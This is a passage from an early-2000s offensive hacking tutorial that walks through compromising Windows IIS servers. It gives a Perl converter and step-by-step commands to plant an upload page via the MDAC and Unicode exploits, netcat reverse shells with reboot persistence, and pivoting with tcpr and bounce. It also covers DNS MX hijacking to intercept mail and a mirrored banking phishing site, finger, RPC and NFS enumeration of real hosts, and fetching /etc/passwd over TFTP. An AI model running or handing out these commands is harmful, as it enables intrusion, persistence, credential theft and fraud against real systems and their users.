      s/\&/\^\|chr\(38\)\|/g;   # Convert & chars

         system "perl rfpnew.pl -h @ARGV[1] -p 80 -C 'echo $_ >>
c:\\@ARGV[0]'\n";
}
close (HTMLFILE);
#Spidermark: SensePostdata
```

This script (which was butchered from some other PERL script by Scrippie/Phreak) takes two arguments - the first is the file that needs to be uploaded, the second the target/victim host's IP number. It makes use of another script - *rfpnew.pl* - a hack of the popular MDAC exploit by Rain Forrest Puppy with extra functionality to specify the port number and to pass the command to be executed as parameter. The convert script will create a file with the same filename as the one specified in c:\. It simply reads every line from the source file, converts all difficult characters and appends the "converted" line to the file on the target. The PERL script

rfpnew.pl (its a nasty hack - don't you dare look at the code) can be found on www.sensepost.com/summercon2001/rfpnew.pl. It don't list it here only because it rather large.

The only part missing here is the actual file that is needed for uploading. After some searches on the Internet, I got hold of a .ASP & .INC file pair that neatly facilitates uploading to a server - without any server side components (credit to those that wrote it - I can not remember where I got it from). Once these two files are "built" (using above script) and transferred into the webroot, one can simply point ones browser to the correct URL and upload a toolbox via HTTP. The files *upload.asp* and *upload.inc* is to be found at www.sensepost.com/summercon2001/upload.asp and www.sensepost.com/summercon2001/upload.inc (I don't list them here because they are quite large). Be sure to move the uploaded files to the right spot - keep them in the same directory, and keep the filenames the same - *upload.asp* and *upload.inc,* unless you want to meddle with the ASP and INC files.

In a nutshell (for the script kids):

- get upload.asp, upload.inc and rfpnew.pl from the site.
- cut & paste the converter script to convert.pl and put it in the same directory
- perl convert upload.asp <target>
- perl convert upload.inc <target>
- perl rfpnew.pl -h <target> -p 80 -C 'move c:\upload.asp <webroot>\upload.asp'
- perl rfpnew.pl -h <target> -p 80 -C 'move c:\upload.inc <webroot>\upload.inc.
- surf to http://target/upload.asp.
- upload your good stuff
- inhale/exhale

In the same way the upload page can be build using the Unicode bug. I recently wrote a tool called unicodeloader.pl which does exactly that - it builds the upload page with echos using the Unicode bug.

The next step would be to execute something on the host. With the uploader in place, the obvious choice would be to upload *netcat*, and to thus create a DOS shell. In an environment where the host/target is not tightly firewalled this is a good idea- bind to any closed (non-filtered) port. Where the host/target only has port 80 (or 443) open it becomes more interesting. *Netcat* (for WinNT) has a "single bind" mode (-l) that will only redirect the next incoming connection to the executor (-e); the connection thereafter will be caught by the webserver. Here timing is of essence - you would want to make sure that you get the very next connection after the single bind was executed. How does one make sure of this? *Hping* is a tool that has the functionality to display differentials in IP id numbers. Bottom line - if you do a

```
# hping -r target -p 80 -S
```

and your relative ID are +1, you know its only you speaking to the host. The higher the relative IDs, the busier the host. If the host is busy you prolly won't be the next caller..

In a situation where we cannot use *netcat*, our "tool" needs to be command line driven, and needs to be able to either create files as output, or to output results to standard out - where it can be redirected to a file. These files could simply be created directly into the webroot - in this way the attacker can view her results in a webbrowser. One now begin to understand the merit of command line port scanners (for NT) such as *FSCAN.EXE* and things like *windump* that does not need any registry changes or install shields.

(after nc.exe has been uploaded in c:\temp and assuming MDAC exploit)

```
perl rfpnew.pl -h <target> -p 80 -C 'c:\temp\nc.exe -l -p 53 -e cmd.exe'
telnet <target> 53
Trying <target>...
Connected to <target>.
Escape character is '^]'.
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\WINNT\system32>
```

The only thing that *netcat* really is doing is making it faster and easier to execute command line commands. *Netcat* also helps in situations where one does not have the luxury of time - such as in the examples where you only have NetBIOS access. To ensure that you keep connectivity with the target you might want to execute a "*netcat -L -p 53 -e cmd.exe*" sitting in winnt/system32/setup.exe (you could execute it from a batch file and convert the batch file to an EXE). When the host reboots it will be listening on port 53 for incoming connections. All you need to do is to probe port 53 continuously.

What to execute?

A tool that I like using once command line access has been gained on a NT box is *FSCAN.EXE* (get it at Packetstorm or at www.sensepost.com/summercon2001/fscan.exe). It is a nifty command line portscanner that is packed with features. Once compromised, this portscanner is uploaded, and scanning on the rest of the network can begin. Make sure that you know where to scan - study your surroundings, like explained earlier.

Let us look at an example:

```
>fscan 169.xxx.201.1-169.xxx.201.255 -p 80,1433,23 -o
c:\inetpub\wwwroot\sportscan.txt
```

Above portscan will identify all hosts running webservers, telnet daemons and MS-SQL, and will send the output directly to a file called *sportscan.txt* that is located in the webroot -ready to be surfed. The output of such a scan could look like this:

```
 Scan started at Thu Oct 12 05:22:23 2000

169.xxx.201.2      23/tcp
169.xxx.201.4      80/tcp
169.xxx.201.4    1433/tcp
169.xxx.201.11     80/tcp
169.xxx.201.20   1433/tcp
169.xxx.201.77     80/tcp
169.xxx.201.160    80/tcp
169.xxx.201.254    23/tcp

 Scan finished at Thu Oct 12 05:52:53 2000
 Time taken: 765 ports in 30.748 secs (24.88 ports/sec)
```

From this portscan we can neatly identify potential "next hop" servers. If we assume that 169.xxx.201.4 is located in the private network (and that the host where this scan was executed from is in the DMZ) it makes sense to try to find the same vulnerabilities on 169.xxx.201.4. The idea is thus to compromise this host - that will give us access to resources on the private network. It might even be interesting to see what is running on the MS-SQL part of the server. We now want to be able to fire up SQL Enterprise server, hop via the compromised host right onto the SQL port on 169.xxx.201.4 (assuming of course that we cannot go there direct).

How is this accomplished? One way could be to hook two instances of netcat together - something like *nc -l -p 53 -e 'nc 169.xxx.201.4 1443'*, but I have found that this method does not work that nice in all situations. Courtesy of a good friend of mine (you know who you are) enter *TCPR.EXE*. *Tcpr.exe* takes 4 arguments:

```
tcpr <listenPort> <destinationIP> <destinationPort> <killfile>
```

Tcpr starts to listen on listenPort, relaying (on a network level) all traffic to destinationIP on port destinationPort. Before it relays a connection it checks for the existence of killfile, and if so, it exists very quietly. The killfile is only there to make it easy to kill the relay as there is no kill `*ps -ax | grep tcpr | awk '{print $1}'*` available in the standard NT distribution
(har har). With *tcpr* we can now redirect traffic on a non-filtered port on the first host to a port on the next victim. The TCPR.EXE program is available at www.sensepost.com/summercon2001/tcp.zip.

Keeping all of above in mind, we could reach the SQL server by uploading tcpr.exe to the victim and executing the following command (let us assume that the site is vulnerable to the Unicode exploit - the attacker is using my Unicode PERL exploit, port 53 is not filtered, and tcpr.exe has been uploaded to c:\temp using the upload page):

```
perl unicodexecute3.pl <target>:80 'c:\temp\tcpr 53 169.xxx.201.4 1443
c:\blah.txt'
```

In the SQL enterprise manager we cannot specify the port. We thus need to "bounce" the local port 1433 to port 53 on the webserver. For this we use the utility "bounce".

```
Use: bounce [-a localaddr] [-p localport] machine port

#bounce -a 127.0.0.1 -p 1433 <target> 53
Ready to bounce connections from port 1433 to <target> on port 53
```

Pointing your SQL enterprise manager to 127.0.0.1 we now reach the SQL server running on the inside of the private network. Assuming a blank SA password, we are home free. When we are finished with the SQL server, and now want to attack the webserver we simple do:

```
perl unicodexecute3.pl <target>:80 'echo aaa > c:\blah.txt'
telnet <target> 53
perl unicodexecute3.pl <target>:80 'del c:\blah.txt'
perl unicodexecute3.pl <target>:80 'c:\temp\tcpr 53 169.xxx.201.4 80
c:\blah.txt'
```

Using this technique we can now "daisy chain" several exploitable IIS servers together, reaching deep within a network. If we assume that the server on 169.xxx.201.4 is exploitable via the MDAC bug, exploiting the server would be as simple as:

```
perl rfpnew.pl -h <target> -p 53 -C '<whatever>'
```

By simply modifying the convert.pl script mentioned earlier to point to port 53, we can start to build the upload page on the internal server, and the cycle continues. If you struggle to keep track on what server you are working don't despair, it happens...

Using PERL2EXE one can also "port" PERL scripts from Unix to Win32. Using this one can upload an exploit to the webserver, and execute it locally.

SMTP (25 TCP)

Back in the good old days just about every mail server was running *Sendmail*. And Sendmail was littered with security holes. Nowadays *Sendmail* is pretty safe (yet a lot of people still have bad memories of it, and as such refuse to use it). The other common MTS is *Microsoft Exchange*. Other UNIX mail servers include qmail and smail. What vulnerabilities exist in SMTP gateways? If we assume that you are dealing with a rather new version of *Sendmail* it seems like SMTP is pretty safe (in terms of getting control over a server). Mailbombing...sure, getting root when one already have a shell -

sure. But remotely - I don't think so. Would anyone find a nasty buffer overflow in *MS Exchange* it would probably be the next big thing. Anyone?

In terms of intelligence gathering SMTP can provide you with some interesting stuff - *EXPN* and *VRFY* have been discussed in depth in the examples - lets not go there again. Mail spamming - well its not really hacking now is it?

SMTP can also be used to discover the soft insides of networks by sending a "bounce" message. Such a message is a message that is addressed to a user that does not exists. The mail will travel all the way to the most internal mail server who will then reply to you stating that the user is not known. By looking at the returned mail's STMP header would you gain some useful information about the mail path, and thus the internal network. Let us look at an example. We want to see the SMTP path of the domain *nedcor.co.za*. We send email to klasiedewaal@nedcor.co.za (we suspect there wont be such a user at the domain), with body text: *"Hi bud - got your email address form Amy - if you receive this in good order, write back to me. Your friend, Roelof"*. Obviously the idea is not the make the "bounce" message look suspect. Now, let us look at the listed MX records for the domain:

```
/# host -t mx nedcor.co.za
nedcor.co.za mail is handled (pri=10) by mailmarshall-1.hosting.co.za
nedcor.co.za mail is handled (pri=10) by mailmarshall-2.hosting.co.za
nedcor.co.za mail is handled (pri=50) by prometheus.nedcor.co.za
```

The SMTP returned mail header looks like this:

```
Received: from prometheus_old.nedcor.co.za ([196.36.217.137])
by wips.sensepost.com (8.9.3/8.9.3) with SMTP id WAA18570
for <roelof@sensepost.com>; Sun, 10 Sep 2000 22:48:29 +0200 (SAST)
(envelope-from )
Received: FROM ARES.it.nednet.co.za BY prometheus_old.nedcor.co.za ; Sun
Sep 10 22:43:09 2000 +0200
Received: by ares.it.nednet.co.za with Internet Mail Service (5.5.2650.21)
id <S3GQJZHZ>; Sun, 10 Sep 2000 22:43:19 +0200
Message-ID: <35D6C187048AD311882F00805FD7EDE402F57314@ares.it.nednet.co.za>
```

We learn from this header that mail "terminates" at *ares.it.nednet.co.za*. From there it hops to *prometheus_old.nedcor.co.za*. This is interesting as both these machines are not resolvable from the Internet, and should therefore be considered as "internal".

FTP (21 TCP + reverse)

There are a lot of FTP servers out there. Some of the more prominent servers are *wu_ftp*, *PROftp*, *MS ftp*, *WARftp*, and others. Some versions of FTP servers on certain platforms can be abused to obtain control over the server -e.g. to break into rootshell. Many of the exploits require that you can *PUT* a file to FTP site. One of the most recent hacks exploits includes an exploit for *wu_ftp 2.6*. Again, it is not idea to list all known exploits for a service. There are hundreds of exploits out there. The idea is to detect them. I scripted together a banner grabber. First I call *nmap* to find random hosts with port 21 open (you might want to scan your whole network or the victim's this way) and put it in machine parsable logs:

```
nmap -sT -iR -p 21 -oM /tmp/nmap21
```

Let it run for a while - the process will "farm" IPs with port 21 open. The next step is a very simple PERL script (it takes the *nmap* generated file and a port number as parameters, and the output is the IP number and the banner):

```
#!/usr/local/bin/perl
use Getopt::Std;
```

```
use Socket;
open (IN,"@ARGV[0]") || die "Cannot open file\n";
$port = @ARGV[1];
while (<IN>) {
if ($_ =~ /open/) {
$_=~ s/ /:/g;
@server=split(/:/,$_);
$serv=@server[2];
$in_addr = (gethostbyname($serv))[4] || die("Error1: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error2: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error3: $!\n");
connect(S, $paddr) || die("Error4: $!\n");
select(S); $| = 1; select(STDOUT);
print S "\n\r";
$res=<S>;
print "$serv : $res";
}
}
```

Calling this script with */tmp/nmap21 21* as parameters gives output like this:

```
194.163.172.206 : 220 www2.gbc.net FTP server (Version wu-2.4.2-academ[BETA-
18](1) Wed Jan 20 04:13:53 /etc/localtime 1999) ready.
194.254.174.16 : 220 emeraude FTP server (Version 4.666 Fri Dec 12 10:27:39 MET
1997) ready.
195.173.173.149 : 195.198.166.41 : 220 andromeda Microsoft FTP Service (Version
4.0).
195.76.111.9 : 199.217.237.87 : 530 Connection refused, unknown IP address.
199.23.191.116 : 200.225.179.74 : 220 srv01 Microsoft FTP Service (Version
5.0).
202.96.110.131 : 220-
203.21.84.116 : 220 lynx.esec.com.au FTP server (Version 6.4/OpenBSD) ready.
203.61.139.88 : 220 server2 NcFTPd Server (licensed copy) ready.
203.62.187.193 : 220 apollo Microsoft FTP Service (Version 4.0).
205.189.201.242 : 220 logger.city.barrie.on.ca FTP server (Version 6.00) ready.
206.245.191.223 : 220 loveworks1.loveworks.com FTP server (Version 6.00LS)
ready.
```

This script will just do some banner grabbing - so you can find vulnerable versions. The script would work fine for just about any service - just set up *nmap* to scan for the port you are interested and let rip (later I tested it with telnet, and it seems to need some tuning for telnet though).

Some of the older FTP servers have a copy of the userlist in the public accessible */etc* directory. It has been mentioned in the section on telnet how this can be used to obtain users with weak passwords. Microsoft's FTP server does not have the concept of "dropping" a user in his/her home directory. Thus, having different directories for different users (with proper access rights) are difficult to set up, and you will find that most sysadmins make a mess of it.

Another trick with FTP is finding valid usernames by changing the directory to *~username*. Obviously this will only work on systems where a username and password is already obtained (including anonymous FTP). It could also be useful in revealing some directories on the server. This technique only works on Unix servers though. Let us look at a quick example:

```
331 Guest login ok, send ident as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> cd ~test
550 Unknown user name after ~
ftp> cd ~root
550 /root: No such file or directory.
ftp> cd ~francios
550 Unknown user name after ~
ftp> cd ~wikus
550 /users/interactive/wikus: No such file or directory.
```

As can be seen, users "*test*" and "*francios*" do not exists, while users "*root*" and "*wikus*" exist. Also note that the paths are revealed.

Later I found that you needn't even log in anonymous to do this. Simply telnet to the FTP server and do a "CWD ~user".

DNS (53 TCP,UDP)

DNS must be one of the most underrated services in terms of hacking. DNS is most powerful. Let us look what can be done by only manipulating DNS. Let's assume that I have full control of a domain's primary DNS server. For this example we'll assume that the domain name is *sensepost.com*. Sensepost.com's has two MX records; one marked as *pri 10 - wips.sensepost.com* and the other *pri 20 - winston.mtx.co.za*. Let say for now that I insert another MX records at *pri 5* - and point it to *attacker.com*. What would be the effect of this? All mail to *sensepost.com* would first travel to port 25 at *attacker.com*. At *attacker.com* it can be read at leisure and then redirected to the MX 10 (*wips.sensepost.com*), and we won't know of any better. Sure, if one look at the mail header it will show that the email is relayed through *attacker.com*, but how many people check their mail header on a regular basis? How do we do the actual redirect? A slightly modified version of "*bounce*" (a popular TCP redirector program that is available for just about any platform) comes in very handy. The program binds to a port and redirects any traffic from one IP to a port on another IP. I have modified *bounce* in order to see the actual traffic - line 75 is inserted and reads:

```
fprintf(stdout,"%s\n",stail);
```

and inserted line 83 reads:

```
fprintf(stdout,"%s\n",ctail);
```

so that all "server" and "client" data is written to the */var/log/messages* file (it is up to the reader to write nice parsing code to populate individual mailboxes according the "*RCPT TO*:" field). The program is called with the following parameters:

```
bounce_rt -a 160.124.19.98 -p 25 196.xxx.115.250 25
```

In above case my IP is 160.124.19.98 (the attacker.com) and 196.xxx.115.250 is the victim. SMTP traffic is seamlessly translated from me to the victim - the only trace that the mail was intercepted is the mail header.

Things get more interesting where commerce sites are involved. Let us assume that my victim has an Internet banking site. I completely mirror the site, and point the DNS entry for the banking site to my IP number (where the mirror is running). The site is a mirror save for the backend system - the mirror replies with some kind of error, and the link to "please try again" is pointing to the actual IP number of the real site. Sure - what about SSL and server certificates you might say. And what about it? Do you REALLY think that people notice when a connection is not SSL-secured? Maybe 10% would - the rest would gladly enter their banking details on an open link. My "fake" site would farm a whole lot of interesting data before anyone would know the difference.

Another application for DNS hijacking would be abusing of trust relationships. Any service that makes use of DNS names for authentication can be tricked into allowing access to an attacker (provided that one also controls the reverse DNS entries). Here I am thinking of any TCP wrapped service, R-services and possibly even SSH.

How does one gain control over a primary DNS server? Maybe this is easier than you would expect. Why would we want to take over the DNS server if we

can simply BE the primary DNS server? Remember when you registered your domain? You needed to provide a primary and secondary DNS server (now-a-days places like *Register.com* does that for you - but you still have the option to change it). And there is some mechanism for you to change that - right? (at *Register.com* is a username and a password) So - it would be possible for me to change it - by basically convincing the system (be that human or electronic) that I am you. And all of sudden a large portion of your IT infrastructure and security hinges on a single username and password.

Another attack (that has been successfully carried out in the field many times) is simple social engineering. Most corporates host their DNS service at an ISP. Why bother to set up a primary DNS server and change DNS entries on root servers if I can convince your ISP to make changes to your local DNS? How does your ISP identify you? A telephone call? A fax? E-mail? All of which can be spoofed. Even scarier. All of a sudden things move away from high technology and hyper secure servers and we are down to more "meat" things - and technology that was never intended to be used as security devices.

Attacking the DNS service itself by using exploits is also an option. Certain versions of the popular DNS service *BIND* for Unix have known exploits, and can be tricked into giving you a root account on the host. How to find vulnerable DNS servers? There is the quick way, and the proper way for bulk scanning. The quick way is to issue the command:

```
dig @ns.wasp.co.za version.bind chaos txt
```

would result in the output:

```
; <<>> DiG 8.3 <<>> @ns.wasp.co.za version.bind chaos txt
; (1 server found)
;; res options: init recurs defnam dnsrch
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUERY SECTION:
;; version.bind, type = TXT, class = CHAOS
;; ANSWER SECTION:
VERSION.BIND. 0S CHAOS TXT "8.2.2-P5"
;; Total query time: 592 msec
;; FROM: wips.sensepost.com to SERVER: ns.wasp.co.za 196.31.211.1
;; WHEN: Tue Sep 19 16:27:43 2000
;; MSG SIZE sent: 30 rcvd: 63
```

note the part that says *[VERSION.BIND. 0S CHAOS TXT "8.2.2-P5"]*. This tells us that *ns.wasp.co.za* is using *BIND* version 8.2.2-p5 - a safe version (at the time of writing :)) This method is a bit messy, but works fine if you quickly want to check some version. A better way is to use *VLAD*. The script in question is "*dnsver.pl*", a script that check the *BIND* version, and report if it is vulnerable or not:

```
> perl dnsver.pl -v ns.wasp.co.za
RAZOR BIND Scanner v1.0.1
By Robert Keyes (c) BindView Corporation
http://razor.bindview.com/tools/vlad/
Requires Net::DNS module from
http://cpan.valueclick.com/authors/id/M/MF/MFUHR/Net-DNS-0.12.tar.gz
Checking ns.wasp.co.za
Server Response: NOERROR
DNS Server Version: BIND 8.2.2-P5
```

The script only finds the *BIND* version, and as such is non-intrusive. Using this script with multiple IP numbers are very simple. Put the IP you wish to check for in a file (assuming the file is called */tmp/ips*) Execute the following script, piping its output to your results file:

```
#!/usr/local/bin/tcsh
```

```
foreach a (`cat /tmp/ips`)
perl dnsver.pl -v $a
continue
end
```

By this time you should really be familiar with this type of script.

Finger (79 TCP)

As shown in the Telnet section, *finger* is very useful tool. *Finger* can be used in more situations that you would imagine. Let us look at some interesting tricks with *finger*.

A *finger* command without any specified username would return all users logged on to the server. Typical output of a *finger* command look like this:

```
> finger @196.xxx.129.66
[196.xxx.129.66]
Login Name Tty Idle Login Time Office Office Phone
davidssh Shuaib pts/1 Sep 12 17:35 (pc22285)
root root tty1 1d Sep 11 17:03
```

We see that "*root*" and "*davidssh*" is logged on. Note that "*davidssh*" is active on the host - no idle time. The rest of the fields are actually quite straightforward. Some servers do not return information unless a username is given.

A *finger* command with a username specified returns more information about the user. Heck NO! I think everybody knows how *finger* works (check for new mail, check the shell) - let us jump straight to the more interesting *finger* commands. A *finger* command can be done on username, or any part of the "name" field. This statement is more interesting that you might think. Let us show an example. *Nether.net* is a free shell server, and the ideal place to test this. Observe the following *finger* command and the output (extract):

```
> finger test@nether.net
[nether.net]
Login Name TTY Idle When Where
test jhgsafgkdjs pts/3 <Jan 2, 2000> swara.ece.iisc.e
arcady aka test 935 <Jan 26, 2000> ppp88.dnttm.ro
k5drm TEst pts/48 <Jan 23, 2000> cm733016-a.ftwrt
test1 Test Test 165 <Jan 20, 2000> alpha1.csd.uwm.e
dogmata test pts/27 <Feb 21, 2000>
uidplate Prime Test 237 <Apr 13 13:25> gramvousa2.tem.u
testuzer test user pts/19 <Mar 25, 2000> tnt11a-154.focal
kosir Test < . . . . >
wman test pts/40 <Sep 5 18:02> FAIRVIEWPARK-189
testing Test pts/42 <Apr 22 03:08> pd01-54.inet-x.n
test1234 Test pts/47 <Apr 28 03:08> cwc373.emirates.
```

Information is return when any part of either the username or “real name” matches the word "*test*" (not case sensitive). Imagine a system where there is unique usernames, but a common entry in the “real name” field - a finger on the common entry would return the information on all the users (a university with the student number as username and "student XXXX" as real name comes to mind).

Another interesting finger command is the *finger 0@victim* command. I have read somewhere that this return information on users that haven't logged in. Yippee. Just figure out the default password scheme from the system, and these usernames is your ticket in there. Let's see it in action:

```
>finger 0@196.xxx.131.14
[196.xxx.131.14]
Login Name TTY Idle When Where
daemon ??? < . . . . >
```

```
bin ??? < . . . . >
sys ??? < . . . . >
jacques ??? pts/0 <Sep 23 20:34> for36-01-p36.wc.
kim ??? pts/4 <Aug 22 21:03> 196.xxx.134.xx
oracle ??? pts/0 <Aug 11 12:22> cte-nms.xxxxx
langh ??? pts/2 <Aug 11 11:02> 196.25.xxx.207
david ??? pts/0 <Sep 20 08:27> oogly.xxx.co.za
ars ??? pts/2 <Sep 20 11:33> 196.25.xxx.140
arsystem ??? < . . . . >
```

Now this is what I don't get - if *finger 0* returns users that haven't logged in, how come some "where" fields are populated? This *finger* command rarely works - SUN/Solaris Unix is the only variant (that I came across) that exhibits this behavior (*finger .@victim* sometimes produce the same results - experiment).

Finger hopping works like this - *finger [whatever]@victim1@victim2*. Let us assume that the finger port on victim1 is blocked:

```
# finger @196.xxx.131.12
[196.41.131.12]
finger: read: Operation timed out
```

We know that the finger port on victim2 is open:

```
# finger @196.xxx.131.14
[196.41.131.14]
No one logged on
```

Now, let us hop from victim2 to victim1:

```
# finger @196.xxx.131.12@196.xxx.131.14
[196.xxx.131.14]
[196.xxx.131.12]
Login Name TTY Idle When Where
root Super-User console 9:07 Mon 11:44 :0
```

Ha! Information is returned from victim1, although the finger port is blocked. Should victim1 have logged the *finger* request (it's rarely logged really), it would seems as though the request was coming from victim2. Obviously this type of *finger* command can be crafted as wished (e.g. *Finger -l 0@v1@v2*)

Finger is really just a client for the finger service that lives on port 79. Und? Situation: you compromised a router, having a prompt, and you wish to attack a Unix server behind the router. You want to use the finger command to get valid usernames, but the router does not have a finger client. The *finger* can be done using a normal TCP connection - initiated by the telnet client. Examples:

```
> telnet 196.xxx.131.14 79
Trying 196.xxx.131.14...
Connected to xxx.co.za.
Escape character is '^]'.
<cr>
No one logged on
Connection closed by foreign host.
> telnet 196.xxx.131.14 79
Trying 196.xxx.131.14...
Connected to xxx.co.za.
Escape character is '^]'.
root
Login Name TTY Idle When Where
root Super-User console <Sep 18 11:46>
Connection closed by foreign host.
```

Any kind of *finger* can be performed this way - simple enter field before the @ after the connection has been established.

NTP (123 UDP)

Network time protocol cannot really be regarded as a exploitable service (yet, and that I know of). In some very special situations however, it can be useful. Let us assume that a big corporation is time syncing all their servers to the same stratum X server. Using NTP tools, you would be able to query the NTP server to find a list of servers (with a lower stratum level) time syncing to this one (higher stratum level) server. Practically it will work like this - I am going to query a stratum 1 server for a list of machines that time synch with it (extract):

```
> xntpdc -c mon ntp.is.co.za
remote address port local address count m ver drop last
===============================================================================
gauntlet.didata.co.za 34974 196.33.55.162 12995 3 4 0 2 131912
fwj5.tns.co.za 34238 196.36.249.102 1738 3 3 0 3 131873
gauntlet-cpt.sanlam.co 36418 196.34.250.26 3667 4 3 0 3 111071
168.209.28.150 36468 168.209.28.150 1011 3 3 0 4 131863
fwj002-pat.fw.is.co.za 35221 196.14.136.73 32274 3 1 0 5 131915
mail2.is.co.za 36826 196.36.153.35 1110 3 3 0 5 131902
196.23.0.209 32890 196.23.0.209 14919 3 1 0 5 105141
196.15.219.132 35079 196.15.219.132 1042 3 3 0 2 131866
gauntlet.pg.co.za 35437 196.33.55.178 1322 3 3 0 1 131866
gauntlet.samiea.org.za 34313 196.35.252.97 1291 3 3 0 2 117117
real01.sabcnews.com 34324 196.14.235.121 2862 3 3 0 7 131886
sw-ded-2.hosting.co.za 34309 196.36.198.203 1646 3 3 0 7 114724
ns1.is.co.za 31753 196.4.160.7 2011 3 3 0 7 131879
gauntlet.jse.co.za 33901 196.38.196.178 2051 3 3 0 7 131870
admin.is.co.za 34587 196.23.0.9 1829 3 3 0 8 131887
```

Hmmm...just look at those interesting DNS names. It seems as though this company is using this server to sync a whole lot of firewalls and other machines (that need NTP, and the mere fact that they are using NTP says something). As said before - this service might not be exploitable, but it could be used for intelligence.

RPC & portmapper (111 TCP + other UDP)

The portmapper service works like this - I would connect to the portmapper port and state that I want to use a specific RPC service - the portmapper would then reply and tell me which port to use. (RPC is for remote procedure call - it's like executing a function on a remote machine, and getting the output back). The reverse is also true - if I want to write a RPC service, I must register it with the portmapper, so that the client that wants the service knows on what port I am listening. So what is the bottom line?

I could save myself a lot of portscanning trouble and just ask the portmapper what services are running on which ports. Now obviously the portmapper service itself must be running. So I might be testing for machines that have port 111 open first. Assuming that I now have a machine with an open portmapper port the following is done:

```
> rpcinfo -p 210.xxx.96.151
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100001 1 udp 1038 rstatd
100001 2 udp 1038 rstatd
100001 3 udp 1038 rstatd
100002 1 udp 1040 rusersd
100002 2 udp 1040 rusersd
100008 1 udp 1042 walld
100012 1 udp 1044 sprayd
150001 1 udp 1046 pcnfsd
```

```
150001 2 udp 1046 pcnfsd
100083 1 tcp 1026 ttdbserver
100068 2 udp 1048 cmsd
100068 3 udp 1048 cmsd
100068 4 udp 1048 cmsd
100068 5 udp 1048 cmsd
100003 2 udp 2049 nfs
100005 1 udp 785 mountd
100005 1 tcp 787 mountd
100024 1 udp 989 status
100024 1 tcp 991 status
100021 1 tcp 840 nlockmgr
100021 1 udp 842 nlockmgr
100021 3 tcp 845 nlockmgr
100021 3 udp 847 nlockmgr
100020 1 udp 850 llockmgr
100020 1 tcp 852 llockmgr
100021 2 tcp 855 nlockmgr
1342177279 3 tcp 1067
1342177279 1 tcp 1067
```

From this we can which RPC services the host is running. A very interesting service see running is NFS (network file system). Maybe the host is exporting some interesting NFS "shares"? Let us have a look:

```
> showmount -a 210.xxx.96.151
All mount points on 210.xxx.96.151:
xxx.com.tw:/HUANGFS
xxx.com.tw:/HUANGFS
xxx.com.tw:/HUANGFS
```

We can see that this host is only export the shares to specific machines (in Taiwan) - not to the rest of the world - so it is pretty useless to even try to mount these "shares" on our host. Maybe I'll look for a host with some public shares, and then we'll look at mounting those. OK...here goes:

```
> showmount -e 128.xxx.135.52
Exports list on 128.xxx.135.52:
/install_2.6 Everyone
/export/install Everyone
/psrc rcd_hosts
/usr/share/opt rcd_hosts xxx.edu
/usr/share/opt2.5 rcd_hosts
/scratch7 rcd_hosts
/pucc rcd_hosts xxx.edu
/home/helios/u52 rcd_all
/home/helios/u51 rcd_all
# mount_nfs 128.xxx.135.52:/export/install /mnt
# cd /mnt
# ls
```

Let us move on to some of the other services. One of the other services that you would notice is "*rusers*". *Rusers* is the same as finger - there ain't that many tricks with *rusers*, but it would give you a list of users active on the host. It very useful when the finger service is not running, or when it is blocked, and you need some usernames.

```
> rusers -al 210.xxx.96.151
```

Damn - no users logged on. Let us see if we can't find a host somewhere on the 'net with users logged on:

```
# rusers -al 128.xxx.135.109
wgw xxx.edu:console Sep 19 16:11 :53 (:0)
(confirming:)
> finger @128.xxx.135.109
[128.xxx.135.109]
Login Name TTY Idle When Where
wgw William Wolber console 1:06 Tue 09:11 :0
```

Another RPC service that is quite cute is the *rstatd* server. This service gives some (kinda useless) information such as *uptime* and load:

```
> rup 210.xxx.96.151
210.xxx.96.151 1:17am up 4 days, 22:14, load average: 0.00 0.00 0.01
```

Should I wish to, I could write a message to all the users logged in on the host using the *rwall* command (now... I don't want to do that would I, but it would look like this):

```
>rwall 210.xxx.96.151
Greetings from South Africa!
^D
>
```

This command would write above message to the consoles of all users connected to the host. Using this command with loops has obvious annoying effects.

Another RPC service that is not mentioned here is the *Yellow Pages* system (YP). YP was quite popular at some stage in large corporations and universities, but its rare to see it today. For a very nice discussion on ways to get juicy information from YP the best document must be Dan Farmer's "*Improving the Security of Your Site by Breaking Into it*" - you can find it here (http://www.ussrback.com/docs/papers/unix/farmer.txt).

The more serious problems with RPC services are that some of them are exploitable. The "*ttdbserver*" and "*cmsd*" services have known problems that would allow an attacker to execute any command on the host. These exploits are very OS dependent, but also a very real...check your local exploit database for the goodies.

TFTP (69 UDP)

TFTP is your friend. TFTP does not require any authentication - it is usually used for network equipment to get their configurations at boot time. A router can be set up to TFTP to a Unix/Windows box and get its config from this box. TFTP makes use of the UDP protocol - and is as such connectionless.

Normally a TFTP server will allow the attacker to transfer any file to him/her (/etc/shadow might be a start). The more recent version of the server will restrict you to only access files that are readable by everyone, and you might find yourself "jailed" in a directory - like with FTP. The other restriction on the more recent servers is that the only files that can be written are those that already exists and that are writeble by everyone. The other difference between TFTP and FTP is that you need to know what file you want - there is no "*ls*" command, but then again, you can make some intelligent choices.

Let us look at an example (this is really easy, but what the heck). First I use *nmap* to find a machine out there with an open TFTP port. Note that for this scan (a UDP scan) you'll need to allow UDP (duh) and ICMP to enter your network, as *nmap* looks at ICMP port unreachable messages to determine if the port is open.

```
# nmap -n -sU -iR -p 69
+output
>tftp
tftp> connect 129.xxx.121.46
> get /etc/password /tmp/passwd
tftp> get /etc/passwd /tmp/passwd
Received 679 bytes in 1.9 seconds
tftp> q
/> more /tmp/passwd
```

```
root:*:0:0:System Administrator:/root:/usr/contrib/bin/bash
daemon:*:1:1:System Daemon:/:/sbin/nologin
sys:*:2:2:Operating System:/tmp:/sbin/nologin
bin:*:3:7:BSDI Software:/usr/bsdi:/sbin/nologin
operator:*:5:5:System Operator:/usr/opr:/sbin/nologin
uucp:*:6:6:UNIX-to-UNIX Copy:/var/spool/uucppublic:/usr/libexec/uucico
games:*:7:13:Games Pseudo-user:/usr/games:/sbin/nologin
news:*:9:8:USENET News,,,:/var/news/etc:/sbin/nologin
demo:*:10:13:Demo User:/usr/demo:/sbin/nologin
www:*:51:84:WWW-server:/var/www:/sbin/nologin
nobody:*:32767:32766:Unprivileged user:/nonexistent:/sbin/nologin
